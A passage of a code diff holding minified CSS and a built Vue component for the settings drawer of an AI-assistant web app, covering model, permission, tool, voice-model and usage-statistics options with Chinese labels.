var(--theme-control-border);display:flex;flex-direction:column;gap:3px;min-width:0;min-height:0;overflow-y:auto;overflow-x:hidden;scrollbar-width:none;-ms-overflow-style:none}.settings-redesign-tab[data-v-6ee16aed]{width:100%;height:47px;flex:0 0 auto;border:0;border-radius:12px;background:transparent;color:var(--text-primary);padding:0 13px;display:flex;align-items:center;gap:14px;cursor:pointer;text-align:left;font-size:16px;letter-spacing:-.01em}.settings-redesign-tab[data-v-6ee16aed]:hover{background:var(--settings-tab-hover-bg)}.settings-redesign-tab.active[data-v-6ee16aed]{background:var(--settings-tab-active-bg);font-weight:640}.settings-tab-icon[data-v-6ee16aed]{--icon-size: 20px;flex:0 0 auto}.settings-tab-icon--chat[data-v-6ee16aed]{width:30px;height:30px;display:inline-flex;align-items:center;justify-content:center;margin-left:-5px;margin-right:-5px}.settings-tab-icon--chat svg[data-v-6ee16aed]{width:30px;height:30px}.settings-redesign-content[data-v-6ee16aed]{min-width:0;min-height:0;height:100%;overflow:visible;display:flex;flex-direction:column;position:relative}.settings-redesign-content-header[data-v-6ee16aed]{height:46px;flex:0 0 46px;display:flex;align-items:center}.settings-redesign-content-header h2[data-v-6ee16aed]{margin:0;color:var(--text-primary);font-size:28px;line-height:1;letter-spacing:-.045em;font-weight:730}.settings-redesign-title-line[data-v-6ee16aed]{height:1px;background:var(--theme-control-border);margin:22px 0 8px;flex:0 0 1px}.settings-redesign-scroll[data-v-6ee16aed]{min-height:0;flex:1 1 auto;overflow-y:auto;overflow-x:visible;padding-right:18px;padding-bottom:86px;scroll-padding-bottom:86px;scrollbar-width:none;-ms-overflow-style:none}.settings-redesign-tabs[data-v-6ee16aed]::-webkit-scrollbar,.settings-redesign-scroll[data-v-6ee16aed]::-webkit-scrollbar,.settings-floating-menu[data-v-6ee16aed]::-webkit-scrollbar,.app-update-changelog-content[data-v-6ee16aed]::-webkit-scrollbar,.role-editor-body[data-v-6ee16aed]::-webkit-scrollbar{display:none}.settings-floating-menu[data-v-6ee16aed],.app-update-changelog-content[data-v-6ee16aed]{scrollbar-width:none;-ms-overflow-style:none}.settings-page[data-v-6ee16aed]{max-width:900px;min-height:0}.settings-select-row[data-v-6ee16aed],.settings-input-row[data-v-6ee16aed],.settings-list-row[data-v-6ee16aed],.settings-action-row[data-v-6ee16aed],.settings-toggle-row[data-v-6ee16aed]{min-height:64px;border-bottom:1px solid var(--theme-control-border);display:grid;grid-template-columns:minmax(0,1fr) auto;align-items:center;gap:18px;padding:11px 0;color:var(--text-primary)}.settings-list-row.tall[data-v-6ee16aed],.settings-input-row.stackable[data-v-6ee16aed]{align-items:flex-start}.settings-list-row.tall[data-v-6ee16aed]{grid-template-columns:minmax(180px,1fr) minmax(0,360px)}.settings-row-copy[data-v-6ee16aed]{min-width:0;display:block}.settings-row-title[data-v-6ee16aed]{display:block;color:var(--text-primary);font-size:14px;font-weight:550;letter-spacing:-.01em;line-height:1.32}.settings-row-desc[data-v-6ee16aed]{display:block;margin-top:3px;color:var(--text-secondary);font-size:12.5px;line-height:1.38}.settings-select-wrap[data-v-6ee16aed]{position:relative;display:inline-flex;justify-self:end}.settings-select-button[data-v-6ee16aed]{width:max-content;min-width:0;height:36px;border:0;border-radius:12px;background:transparent;color:var(--text-primary);display:inline-flex;align-items:center;justify-content:center;gap:8px;padding:0 8px 0 10px;cursor:pointer;font-size:15px;white-space:nowrap}.settings-select-button[data-v-6ee16aed]:hover{background:var(--hover-bg)}.settings-select-button .select-chevron[data-v-6ee16aed]{width:12px;height:12px;display:inline-flex;align-items:center;justify-content:center;transition:transform .15s ease}.settings-select-button .select-chevron[data-v-6ee16aed]:before{content:"";width:7px;height:7px;border-right:1.5px solid currentColor;border-bottom:1.5px solid currentColor;transform:translateY(-1.5px) rotate(45deg)}.settings-select-wrap.open .settings-select-button .select-chevron[data-v-6ee16aed]{transform:rotate(180deg)}.settings-floating-menu[data-v-6ee16aed]{position:fixed;right:auto;top:auto;width:300px;max-height:188px;overflow-y:auto;overflow-x:hidden;padding:6px;border-radius:20px;background:var(--settings-floating-menu-bg);border:1px solid var(--theme-control-border);box-shadow:var(--settings-floating-menu-shadow);opacity:1;-webkit-backdrop-filter:none;backdrop-filter:none;z-index:2147483647;display:none}.settings-select-wrap.open .settings-floating-menu[data-v-6ee16aed]{display:block}.settings-floating-menu.dark[data-v-6ee16aed]{background:var(--surface-panel)!important;box-shadow:none!important}.settings-floating-menu.dark .settings-menu-option[data-v-6ee16aed]:hover{background:var(--hover-bg)!important}html[data-theme=dark],body[data-theme=dark]{background:var(--surface-panel)!important;box-shadow:none!important}html[data-theme=dark],body[data-theme=dark]{background:var(--hover-bg)!important}.settings-menu-option[data-v-6ee16aed]{width:100%;min-height:38px;border:0;border-radius:12px;background:transparent;color:var(--text-primary);display:grid;grid-template-columns:minmax(0,1fr) 22px;row-gap:0;column-gap:8px;align-items:center;padding:7px 10px;text-align:left;cursor:pointer}.settings-menu-option[data-v-6ee16aed]:hover{background:var(--settings-floating-menu-hover)}.settings-menu-option[data-v-6ee16aed]:disabled{opacity:.48;cursor:not-allowed}.settings-menu-option strong[data-v-6ee16aed]{grid-column:1;grid-row:1;display:block;color:var(--text-primary);font-size:15px;font-weight:550;letter-spacing:-.01em;min-width:0}.settings-menu-option span[data-v-6ee16aed]{grid-column:1;grid-row:2;display:block;margin-top:0;color:var(--text-secondary);font-size:11px;line-height:1.15;min-width:0;max-width:100%;overflow:hidden;text-overflow:ellipsis;white-space:nowrap}.settings-menu-option svg[data-v-6ee16aed]{grid-column:2;grid-row:1 / span 2;align-self:center;width:21px;height:21px;fill:none;stroke:var(--text-primary);stroke-width:2.25;stroke-linecap:round;stroke-linejoin:round;opacity:0}.settings-menu-option.selected svg[data-v-6ee16aed]{opacity:1}.settings-input-row input[data-v-6ee16aed],.settings-add-row input[data-v-6ee16aed],.settings-number-row input[data-v-6ee16aed],.settings-number-input[data-v-6ee16aed],.settings-compression-grid input[data-v-6ee16aed]{height:38px;border:1px solid var(--theme-control-border);border-radius:12px;background:transparent;color:var(--text-primary);padding:0 12px;outline:none;font-size:13px}.settings-number-input[data-v-6ee16aed]{width:120px;text-align:right}.settings-section-divider[data-v-6ee16aed]{display:flex;align-items:center;margin:18px 0 6px}.settings-section-divider__label[data-v-6ee16aed]{font-size:12px;font-weight:600;color:var(--text-secondary);letter-spacing:.04em}.settings-section-divider[data-v-6ee16aed]:after{content:"";flex:1;height:1px;margin-left:10px;background:var(--theme-control-border)}.settings-input-row>input[data-v-6ee16aed]{width:min(360px,40vw);text-align:right}.settings-input-row input[data-v-6ee16aed]:focus,.settings-add-row input[data-v-6ee16aed]:focus,.settings-number-row input[data-v-6ee16aed]:focus,.settings-number-input[data-v-6ee16aed]:focus,.settings-compression-grid input[data-v-6ee16aed]:focus{border-color:var(--text-secondary);box-shadow:none}.settings-input-stack[data-v-6ee16aed]{width:min(430px,46vw);display:grid;gap:8px;justify-self:end}.settings-input-stack.wide[data-v-6ee16aed]{width:min(360px,42vw)}.settings-input-stack input[data-v-6ee16aed]{width:100%}.settings-chip-row[data-v-6ee16aed]{display:flex;flex-wrap:wrap;gap:6px}.settings-chip-row.right[data-v-6ee16aed]{justify-content:flex-end}.settings-chip-row button[data-v-6ee16aed],.settings-number-row button[data-v-6ee16aed],.settings-add-row button[data-v-6ee16aed],.settings-secondary-button[data-v-6ee16aed],.settings-primary-button[data-v-6ee16aed]{border:1px solid var(--theme-control-border);border-radius:999px;background:transparent;color:var(--text-primary);min-height:32px;padding:0 12px;font-size:12px;cursor:pointer}.settings-chip-row button[data-v-6ee16aed]:hover,.settings-number-row button[data-v-6ee16aed]:hover,.settings-add-row button[data-v-6ee16aed]:hover,.settings-secondary-button[data-v-6ee16aed]:hover{background:var(--hover-bg)}.settings-chip-row button.active[data-v-6ee16aed],.settings-primary-button[data-v-6ee16aed]{border-color:var(--accent);background:var(--accent);color:var(--on-accent)}.settings-secondary-button.danger[data-v-6ee16aed]{color:var(--state-warning)}.settings-inline-actions[data-v-6ee16aed]{display:inline-flex;align-items:center;justify-content:flex-end;gap:8px;flex-wrap:wrap}.settings-inline-actions.right[data-v-6ee16aed]{margin-top:10px}.settings-mini-status[data-v-6ee16aed]{color:var(--text-secondary);font-size:12px}.settings-mini-status.warning[data-v-6ee16aed]{color:var(--state-warning)}.settings-add-row[data-v-6ee16aed],.settings-number-row[data-v-6ee16aed]{display:flex;align-items:center;justify-content:flex-end;gap:8px}.settings-add-row input[data-v-6ee16aed],.settings-number-row input[data-v-6ee16aed]{min-width:0;flex:1 1 auto}.settings-textarea-row[data-v-6ee16aed]{min-height:0;border-bottom:1px solid var(--theme-control-border);display:flex;flex-direction:column;gap:10px;padding:14px 0;color:var(--text-primary)}.settings-textarea-row textarea[data-v-6ee16aed]{width:100%;min-height:120px;max-height:320px;border:1px solid var(--theme-control-border);border-radius:12px;background:transparent;color:var(--text-primary);padding:12px;outline:none;font-size:13px;line-height:1.55;resize:vertical;overflow-y:auto;font-family:inherit}.settings-textarea-row textarea[data-v-6ee16aed]:focus{border-color:var(--text-secondary);box-shadow:none}.settings-textarea-row textarea[data-v-6ee16aed]::placeholder{color:var(--text-secondary);opacity:.6}.settings-toggle-row[data-v-6ee16aed]{cursor:pointer;position:relative}.settings-toggle-row input[type=checkbox][data-v-6ee16aed]{position:absolute;opacity:0;pointer-events:none}.settings-group-block[data-v-6ee16aed]{border-bottom:1px solid var(--theme-control-border);padding:14px 0 16px}.settings-group-title[data-v-6ee16aed]{margin-bottom:6px}.settings-toggle-row.inner[data-v-6ee16aed]{min-height:48px;padding:7px 0 7px 18px;border-bottom:0}.settings-check-grid[data-v-6ee16aed]{display:grid;grid-template-columns:repeat(2,minmax(0,1fr));gap:0 26px}.settings-compression-grid[data-v-6ee16aed]{display:grid;grid-template-columns:repeat(2,minmax(0,1fr));gap:10px 14px;margin-top:10px}.settings-compression-grid label[data-v-6ee16aed]{display:grid;gap:5px;color:var(--text-secondary);font-size:12px}.settings-save-bar[data-v-6ee16aed]{position:absolute;right:18px;bottom:0;left:0;min-height:54px;display:flex;justify-content:space-between;align-items:center;gap:16px;background:transparent;pointer-events:none}.settings-save-bar[data-v-6ee16aed]>*{pointer-events:auto}.personal-status-group[data-v-6ee16aed]{min-height:20px;font-size:12px}.status.success[data-v-6ee16aed]{color:var(--state-success)}.status.error[data-v-6ee16aed],.usage-summary-error[data-v-6ee16aed]{color:var(--state-warning)}.usage-summary-page[data-v-6ee16aed]{display:block;padding:0}.settings-stats-card[data-v-6ee16aed],.usage-summary-card[data-v-6ee16aed]{width:100%;max-width:720px;padding:0;min-height:0;display:flex;flex-direction:column;gap:14px}.usage-summary-header h3[data-v-6ee16aed]{margin:4px 0 6px;font-size:20px}.usage-summary-eyebrow[data-v-6ee16aed]{margin:0;font-size:11px;color:var(--accent-strong);letter-spacing:.16em;text-transform:uppercase}.usage-summary-desc[data-v-6ee16aed],.usage-summary-note[data-v-6ee16aed],.usage-summary-meta[data-v-6ee16aed]{margin:0;color:var(--text-secondary);font-size:12px}.usage-summary-grid[data-v-6ee16aed]{display:grid;gap:10px}.usage-summary-grid--tokens[data-v-6ee16aed]{grid-template-columns:repeat(2,minmax(0,1fr))}.usage-summary-grid--counts[data-v-6ee16aed]{grid-template-columns:repeat(3,minmax(0,1fr))}.usage-summary-item[data-v-6ee16aed]{padding:12px 14px;border-radius:14px;border:1px solid var(--theme-control-border);background:transparent}.usage-summary-item .label[data-v-6ee16aed]{font-size:12px;color:var(--text-secondary)}.usage-summary-item .value[data-v-6ee16aed]{margin-top:4px;font-size:20px;font-weight:600;color:var(--text-primary)}.usage-summary-item .value--success[data-v-6ee16aed]{color:var(--state-success)}.usage-summary-item .value--warning[data-v-6ee16aed]{color:var(--state-warning)}.usage-summary-meta[data-v-6ee16aed]{display:flex;justify-content:space-between;align-items:center;gap:12px;flex-wrap:wrap}.usage-summary-refresh[data-v-6ee16aed]{border:1px solid var(--theme-control-border);border-radius:999px;padding:7px 14px;background:transparent;color:var(--text-primary);font-size:12px;cursor:pointer}.admin-monitor-page[data-v-6ee16aed]{display:block;padding:0}@media (max-width: 900px){.settings-redesign-card[data-v-6ee16aed]{width:100vw;height:100vh;border-radius:0;padding:30px 24px}.settings-close-button[data-v-6ee16aed]{left:27px;top:20px}.settings-redesign-layout[data-v-6ee16aed]{grid-template-columns:1fr;gap:0}.settings-redesign-tabs[data-v-6ee16aed]{margin-top:68px;height:auto;padding-right:0;padding-bottom:12px;border-right:0;border-bottom:1px solid var(--theme-control-border);flex-direction:row;overflow:auto;scrollbar-width:none}.settings-redesign-tabs[data-v-6ee16aed]::-webkit-scrollbar{display:none}.settings-redesign-tab[data-v-6ee16aed]{width:auto;white-space:nowrap}.settings-redesign-content[data-v-6ee16aed]{padding-top:18px}.settings-select-row[data-v-6ee16aed],.settings-input-row[data-v-6ee16aed],.settings-list-row[data-v-6ee16aed],.settings-action-row[data-v-6ee16aed],.settings-toggle-row[data-v-6ee16aed]{grid-template-columns:minmax(0,1fr);gap:8px}.settings-select-wrap[data-v-6ee16aed],.settings-input-stack[data-v-6ee16aed],.settings-input-row>input[data-v-6ee16aed]{justify-self:stretch;width:100%}.settings-select-button[data-v-6ee16aed]{margin-left:auto}.settings-floating-menu[data-v-6ee16aed]{width:min(340px,calc(100vw - 48px))}.settings-check-grid[data-v-6ee16aed],.settings-compression-grid[data-v-6ee16aed],.usage-summary-grid--tokens[data-v-6ee16aed],.usage-summary-grid--counts[data-v-6ee16aed]{grid-template-columns:1fr}}.voice-download-bar[data-v-6ee16aed]{display:flex;flex-direction:column;gap:4px}.voice-download-track[data-v-6ee16aed]{width:100%;height:6px;background:var(--surface-muted);border-radius:3px;overflow:hidden}.voice-download-fill[data-v-6ee16aed]{height:100%;background:var(--accent-primary);border-radius:3px;transition:width .3s ease} diff --git a/demo/static/dist/assets/PersonalizationDrawer.js b/demo/static/dist/assets/PersonalizationDrawer.js new file mode 100644 index 0000000..49a8752 --- /dev/null +++ b/demo/static/dist/assets/PersonalizationDrawer.js @@ -0,0 +1 @@ +import{d as It,o as ps,a as Lt,w as gs,k as m,b as d,e as Rt,s as K,u as l,c as r,A as h,g as e,F as w,r as F,n as c,y as S,t as a,q as p,T as X,f as C,i as _,h as vs,j as ms,l as k,N as Ot}from"./runtime-dom.esm-bundler.js";import{a as jt,b as Vt,c as Et,d as Ut,s as zt,e as Ht,f as qt,h as Gt,I as Jt,i as Y}from"./main.js";import{F as v}from"./FancyCheck.js";import{_ as Wt}from"./_plugin-vue_export-helper.js";import"./useMarkdownRenderer.js";const Qt={class:"personal-page-card settings-redesign-card","data-tutorial":"personal-card"},Kt={key:0,class:"personalization-body settings-redesign-body"},Xt={class:"personal-form settings-redesign-form"},Yt={class:"settings-redesign-layout"},Zt={class:"settings-redesign-tabs","aria-label":"个人空间分组切换"},en=["data-tutorial","aria-pressed","onClick"],sn={key:0,class:"settings-tab-icon settings-tab-icon--chat","aria-hidden":"true"},tn={class:"settings-redesign-content","data-tutorial":"personal-content-shell"},nn={class:"settings-redesign-content-header"},ln={class:"settings-redesign-scroll"},on={key:"general",class:"settings-page"},an={class:"settings-toggle-row"},dn=["checked"],rn={key:0,class:"settings-action-row"},un={class:"settings-row-copy"},cn={class:"settings-row-desc"},pn={class:"settings-inline-actions"},gn=["disabled"],vn={class:"settings-action-row danger-zone"},mn={key:"preferences",class:"settings-page","data-tutorial":"personal-page-preferences"},kn={class:"settings-toggle-row"},yn=["checked","disabled"],bn={class:"settings-input-row"},wn=["value"],_n={class:"settings-input-row"},hn=["value"],fn={class:"settings-input-row"},Cn=["value"],xn={class:"settings-input-row stackable"},Mn={class:"settings-input-stack"},Sn=["value"],$n={class:"settings-chip-row"},Fn=["onClick"],Bn={class:"settings-textarea-row"},Pn=["value"],Tn={key:0,class:"settings-toggle-row"},An=["checked"],Dn={key:1,class:"settings-toggle-row"},Nn=["checked"],In={class:"settings-select-row"},Ln={class:"settings-select-row"},Rn={key:"model",class:"settings-page","data-tutorial":"personal-page-model"},On={class:"settings-select-row"},jn=["disabled","onClick"],Vn={class:"settings-select-row"},En=["onClick"],Un={class:"settings-select-row"},zn=["onClick"],Hn={key:"appearance",class:"settings-page"},qn={class:"settings-select-row"},Gn=["onClick"],Jn={class:"settings-toggle-row"},Wn=["checked"],Qn={class:"settings-toggle-row"},Kn=["checked"],Xn={class:"settings-toggle-row"},Yn=["checked"],Zn={class:"settings-toggle-row"},el=["checked"],sl={class:"settings-toggle-row"},tl=["checked"],nl={class:"settings-toggle-row"},ll=["checked"],ol={class:"settings-toggle-row"},il=["checked"],al={class:"settings-toggle-row"},dl=["checked"],rl={class:"settings-toggle-row"},ul=["checked"],cl={class:"settings-toggle-row"},pl=["checked"],gl={class:"settings-select-row"},vl=["onClick"],ml={key:0,class:"settings-toggle-row"},kl=["checked"],yl={key:1,class:"settings-toggle-row"},bl=["checked"],wl={class:"settings-select-row"},_l=["onClick"],hl={key:"workspace",class:"settings-page","data-tutorial":"personal-page-workspace"},fl={class:"settings-select-row"},Cl=["onClick"],xl={class:"settings-select-row"},Ml=["onClick"],Sl={class:"settings-toggle-row"},$l=["checked"],Fl={class:"settings-toggle-row"},Bl=["checked"],Pl={class:"settings-toggle-row"},Tl=["checked"],Al={class:"settings-select-row"},Dl={class:"settings-toggle-row"},Nl=["checked"],Il={class:"settings-select-row"},Ll=["value"],Rl={class:"settings-toggle-row"},Ol=["checked"],jl={key:0,class:"settings-select-row"},Vl=["value"],El={key:"context",class:"settings-page"},Ul={class:"settings-toggle-row"},zl=["checked"],Hl={key:0,class:"settings-input-row"},ql={class:"settings-number-row"},Gl=["min","max","value"],Jl={class:"settings-input-row"},Wl={class:"settings-number-row"},Ql=["min","value"],Kl={class:"settings-group-block"},Xl={class:"settings-toggle-row inner"},Yl=["checked"],Zl={class:"settings-toggle-row inner"},eo=["checked"],so={class:"settings-compression-grid"},to=["value"],no=["value"],lo=["value"],oo=["value"],io=["value"],ao=["value"],ro={class:"settings-toggle-row inner"},uo=["checked"],co={key:"tools",class:"settings-page"},po={class:"settings-toggle-row"},go=["checked"],vo={class:"settings-toggle-row"},mo=["checked"],ko={class:"settings-toggle-row"},yo=["checked"],bo={class:"settings-toggle-row"},wo=["checked"],_o={class:"settings-group-block"},ho={class:"settings-toggle-row inner"},fo=["checked"],Co={class:"settings-toggle-row inner"},xo=["checked"],Mo={class:"settings-toggle-row inner"},So=["checked"],$o={class:"settings-toggle-row inner"},Fo=["checked"],Bo={key:0,class:"settings-group-block"},Po={class:"settings-check-grid"},To={class:"settings-row-title"},Ao=["checked","onChange"],Do={key:1,class:"settings-group-block"},No={class:"settings-check-grid"},Io={class:"settings-row-title"},Lo=["checked","onChange"],Ro={key:"files",class:"settings-page","data-tutorial":"personal-page-image"},Oo={class:"settings-select-row"},jo=["onClick"],Vo={key:"data",class:"settings-page usage-summary-page","data-tutorial":"personal-page-usage"},Eo={class:"usage-summary-card settings-stats-card"},Uo={class:"usage-summary-grid usage-summary-grid--tokens"},zo={class:"usage-summary-item"},Ho={class:"value value--success"},qo={class:"usage-summary-item"},Go={class:"value value--warning"},Jo={class:"usage-summary-grid usage-summary-grid--counts"},Wo={class:"usage-summary-item"},Qo={class:"value"},Ko={class:"usage-summary-item"},Xo={class:"value"},Yo={class:"usage-summary-item"},Zo={class:"value"},ei={class:"usage-summary-meta"},si={key:0,class:"usage-summary-error"},ti={key:1},ni={key:2},li=["disabled"],oi={key:"voice",class:"settings-page"},ii={class:"settings-action-row"},ai={class:"settings-row-copy"},di={class:"settings-row-desc"},ri={style:{display:"flex",gap:"6px"}},ui=["disabled"],ci=["disabled"],pi={key:0,class:"voice-download-bar",style:{margin:"8px 0 0"}},gi={class:"voice-download-track"},vi={style:{"font-size":"11px",color:"var(--text-secondary)","margin-top":"4px"}},mi={key:"sub-agents",class:"settings-page"},ki={class:"settings-action-row",style:{"margin-bottom":"16px"}},yi={style:{display:"flex",gap:"6px","align-items":"center"}},bi=["disabled"],wi={class:"settings-action-row",style:{"margin-bottom":"16px"}},_i={style:{display:"flex",gap:"6px","align-items":"center"}},hi=["disabled"],fi={class:"settings-section-header",style:{"margin-bottom":"8px"}},Ci={key:0,class:"settings-empty-hint"},xi={key:1,class:"settings-empty-hint"},Mi={key:2,class:"sub-agent-role-list"},Si={class:"sub-agent-role-info"},$i={class:"sub-agent-role-name"},Fi={class:"sub-agent-role-desc"},Bi={class:"sub-agent-role-meta"},Pi={class:"sub-agent-role-actions"},Ti=["onClick"],Ai=["onClick"],Di={class:"role-editor-header"},Ni={class:"settings-input-row"},Ii=["value"],Li={key:1,class:"settings-row-desc",style:{"text-align":"right","font-size":"14px"}},Ri={class:"settings-input-row"},Oi=["value"],ji={class:"settings-input-row"},Vi=["value"],Ei={class:"settings-select-row"},Ui={class:"settings-select-row"},zi=["onClick"],Hi={class:"settings-textarea-row"},qi=["value"],Gi={class:"role-editor-footer"},Ji=["disabled"],Wi={key:"review-agents",class:"settings-page"},Qi={class:"settings-section-divider"},Ki={class:"settings-section-divider__label"},Xi={style:{margin:"-4px 0 12px",color:"var(--text-secondary)","font-size":"12px","line-height":"1.5"}},Yi={class:"settings-select-row"},Zi=["onClick"],ea=["onClick"],sa=["onClick"],ta={class:"settings-select-row"},na=["onClick"],la=["onClick"],oa=["onClick"],ia={class:"settings-select-row"},aa=["value","onChange"],da={class:"settings-select-row"},ra=["value","onChange"],ua={class:"settings-select-row",style:{"margin-bottom":"8px"}},ca=["value","onChange"],pa={key:"admin",class:"settings-page admin-monitor-page"},ga={key:0,class:"settings-action-row"},va={class:"settings-save-bar"},ma={class:"personal-status-group"},ka={key:0,class:"status success"},ya={key:0,class:"status error"},ba={key:1,class:"personalization-loading"},wa=It({name:"PersonalizationDrawer",__name:"PersonalizationDrawer",setup(_a){const i=jt(),Be=Vt(),Pe=Et(),Te=Ut(),{visible:Ae,loading:ks,form:o,tonePresets:ys,status:De,error:Ne,saving:ha,toggleUpdating:bs,toolCategories:Ie,skillsCatalog:Le,recentConversationsPromptLimitRange:Re,projectMemoryInjectLimitMin:ws,experiments:_s}=zt(i),de=k(()=>typeof o.value.goal_max_tokens=="number"&&o.value.goal_max_tokens>0),hs=n=>{const s=Math.round(Number(n));return Number.isFinite(s)?Math.min(100,Math.max(1,s)):5},fs=n=>{const s=Math.round(Number(n));return Number.isFinite(s)?Math.min(1e8,Math.max(1e3,s)):1e5},Cs=n=>{i.updateField({key:"goal_max_tokens",value:n?o.value.goal_max_tokens||1e5:null})},xs=[{id:"general",label:"常规",icon:"settings"},{id:"preferences",label:"个性化",icon:"userPen"},{id:"model",label:"模型与思考",icon:"brainCog"},{id:"appearance",label:"外观与显示",icon:"monitor"},{id:"workspace",label:"工作区与权限",icon:"folder"},{id:"context",label:"上下文",icon:"chatBubble"},{id:"tools",label:"工具与 Skills",icon:"wrench"},{id:"files",label:"文件与图片",icon:"file"},{id:"data",label:"数据管理",icon:"layers"},{id:"voice",label:"语音模型",icon:"mic"},{id:"sub-agents",label:"子智能体",icon:"bot"},{id:"review-agents",label:"审核智能体",icon:"checkbox"}],re=m(""),Oe=m(!1),je=k(()=>{const n=(Be.usageQuota.role||"").toLowerCase(),s=(re.value||"").toLowerCase();return n==="admin"||s==="admin"}),Ms=k(()=>{var s;const n=(((s=Be.containerStatus)==null?void 0:s.mode)||"").toLowerCase();return n?n==="host":Oe.value}),Ss=k(()=>je.value&&Ms.value),Ve=k(()=>typeof window>"u"?!1:new URLSearchParams(window.location.search).has("app_shell")?!0:!!(window!=null&&window.AndroidThemeBridge)),Ee=k(()=>{const n=[...xs];return je.value&&n.push({id:"admin",label:"管理员",icon:"wrench"}),n}),$=m("general"),g=m(null),x=m({}),$s=k(()=>{var n;return((n=Ee.value.find(s=>s.id===$.value))==null?void 0:n.label)||"常规"}),A=m(!1),L=m(!1),D=m(!1),R=m(0),Z=m(""),Fs=()=>{const n=window==null?void 0:window.AndroidVoiceBridge;if(n)try{typeof n.isModelReady=="function"&&(A.value=n.isModelReady()),!A.value&&typeof n.isModelPartial=="function"&&(L.value=n.isModelPartial())}catch{}},Bs=()=>{const n=window==null?void 0:window.AndroidVoiceBridge;if(!n){alert("仅在 App 内支持下载语音模型");return}D.value=!0,R.value=0,Z.value="准备下载...",L.value=!1,window.__onVoiceDownloadProgress=(s,t)=>{R.value=s,Z.value=t,s>=100&&(D.value=!1,A.value=!0,L.value=!1)},window.__onVoiceModelReady=()=>{A.value=!0,D.value=!1,L.value=!1},n.downloadModel()},Ps=()=>{const n=window==null?void 0:window.AndroidVoiceBridge;n&&(typeof n.deleteModel=="function"&&n.deleteModel(),A.value=!1,L.value=!1,R.value=0,Z.value="")};Fs();const J=async()=>{if(!g.value||typeof window>"u"){x.value={};return}await Ot();const n=document.querySelector(".settings-select-wrap.open .settings-select-button"),s=document.querySelector(".settings-select-wrap.open .settings-floating-menu");if(!n)return;const t=n.getBoundingClientRect(),u=Math.min(300,Math.max(240,window.innerWidth-32)),M=Math.max(16,Math.min(t.right-u,window.innerWidth-u-16)),I=16,T=10,ie=s==null?void 0:s.querySelector(".settings-menu-option"),Nt=ie?ie.getBoundingClientRect().height:44,cs=Math.round(Nt*4)+12;s&&(s.style.maxHeight=`${cs}px`);const Me=(s==null?void 0:s.getBoundingClientRect().height)||cs,Se=window.innerHeight-t.bottom-I,$e=t.top-I;let Q,ae;if(Se>=Me)Q=t.bottom+T;else if($e>=Me)Q=t.top-Me-T;else if(Se>=$e)ae=Math.max(80,Se-T),Q=t.bottom+T;else{const Fe=Math.max(80,$e-T);ae=Fe,Q=Math.max(I,t.top-Fe-T)}x.value={position:"fixed",top:`${Math.round(Q)}px`,left:`${Math.round(M)}px`,right:"auto",width:`${Math.round(u)}px`,zIndex:"2147483647",...ae!==void 0?{maxHeight:`${Math.round(ae)}px`}:{}}},B=async n=>{g.value=g.value===n?null:n,await J()},b=()=>{g.value=null,x.value={}},Ts=n=>({"--icon-src":`url(${Jt[n]})`});ps(()=>{window.addEventListener("resize",J),window.addEventListener("scroll",J,!0)}),Lt(()=>{window.removeEventListener("resize",J),window.removeEventListener("scroll",J,!0)});const Ue=[{id:"fast",label:"快速模式",desc:"追求响应速度,跳过思考模型",value:"fast"},{id:"thinking",label:"思考模式",desc:"整轮对话都使用思考模型",value:"thinking"}],ze=[{id:"default",label:"默认",desc:"不指定强度,使用 API 默认行为",value:null},{id:"low",label:"low",desc:"最低推理,响应最快",value:"low"},{id:"medium",label:"medium",desc:"较低推理",value:"medium"},{id:"high",label:"high",desc:"均衡推理",value:"high"},{id:"xhigh",label:"xhigh",desc:"更高推理",value:"xhigh"},{id:"max",label:"max",desc:"最高推理,适合最复杂任务",value:"max"}],He=[{id:"readonly",label:"只读",desc:"仅允许读取/检索类工具,修改操作将被拒绝"},{id:"approval",label:"批准",desc:"对工作区文件进行修改的工具需人工批准后执行"},{id:"auto_approval",label:"自动审核",desc:"工作区内写入直通;高风险操作由后台审核智能体自动审批"},{id:"unrestricted",label:"无限制",desc:"工具按常规流程直接执行"}],qe=[{id:"plan",label:"计划",desc:"只制定计划,批准后执行"},{id:"ask",label:"询问",desc:"先讨论确认,再开工"},{id:"execute",label:"执行",desc:"自行补全细节,直接开工"}],Ge=Ht(),As=qt(),ue=k(()=>(As.models||[]).map(n=>{const s=String(n.multimodal||"none");return{id:n.key,value:n.key,label:n.label,desc:n.description||"",badge:s==="image,video"?"图文":n.thinkingOnly?"思考":void 0,thinkingOnly:!!n.thinkingOnly,fastOnly:!!n.fastOnly,disabled:Ge.disabledModelSet.has(n.key)}})),Je=[{id:"original",label:"原图",desc:"不压缩"},{id:"1080p",label:"1080p",desc:"最长边不超过 1080p 等比缩放"},{id:"720p",label:"720p",desc:"最长边不超过 720p 等比缩放"},{id:"540p",label:"540p",desc:"最长边不超过 540p 等比缩放"}],Ds=k(()=>{var n;return((n=ue.value.find(s=>s.value===o.value.default_model))==null?void 0:n.label)||"未设置"}),Ns=k(()=>{var n;return((n=Ue.find(s=>ts(s.value)))==null?void 0:n.label)||"未设置"}),We=n=>n===null?!o.value.default_reasoning_effort:o.value.default_reasoning_effort===n,Is=k(()=>{var n;return((n=ze.find(s=>We(s.value)))==null?void 0:n.label)||"默认"}),Ls=n=>{i.setDefaultReasoningEffort(n),b()},Rs=k(()=>{var n;return((n=He.find(s=>s.id===o.value.default_permission_mode))==null?void 0:n.label)||"未设置"}),Os=k(()=>{var n;return((n=qe.find(s=>s.id===o.value.default_work_mode))==null?void 0:n.label)||"未设置"}),js=k(()=>o.value.versioning_backup_mode==="full"?"完全备份":"浅备份"),Vs=k(()=>{var n;return((n=Je.find(s=>s.id===o.value.image_compression))==null?void 0:n.label)||"未设置"}),Es=k(()=>o.value.communication_style==="human_like"?"拟人":o.value.communication_style==="auto"?"自动":"默认"),Us=k(()=>o.value.conversation_continuity==="high"?"高":o.value.conversation_continuity==="low"?"低":"中"),O=k(()=>_s.value.blockDisplayMode),ee=k(()=>o.value.stacked_hide_borders),se=k(()=>o.value.minimal_expand_height_limited),zs=k(()=>{var n;return((n=os.find(s=>s.value===O.value))==null?void 0:n.label)||"堆叠动画"}),Qe=k(()=>o.value.compact_message_display||"full"),Hs=k(()=>{var n;return((n=ds.find(s=>s.value===Qe.value))==null?void 0:n.label)||"完整信息"}),j=m({total_input_tokens:0,total_output_tokens:0,total_conversations:0,total_user_messages:0,total_tools:0}),V=m(!1),te=m(""),ce=m(null),qs=k(()=>{if(!ce.value)return"尚未刷新";const n=new Date(ce.value);return 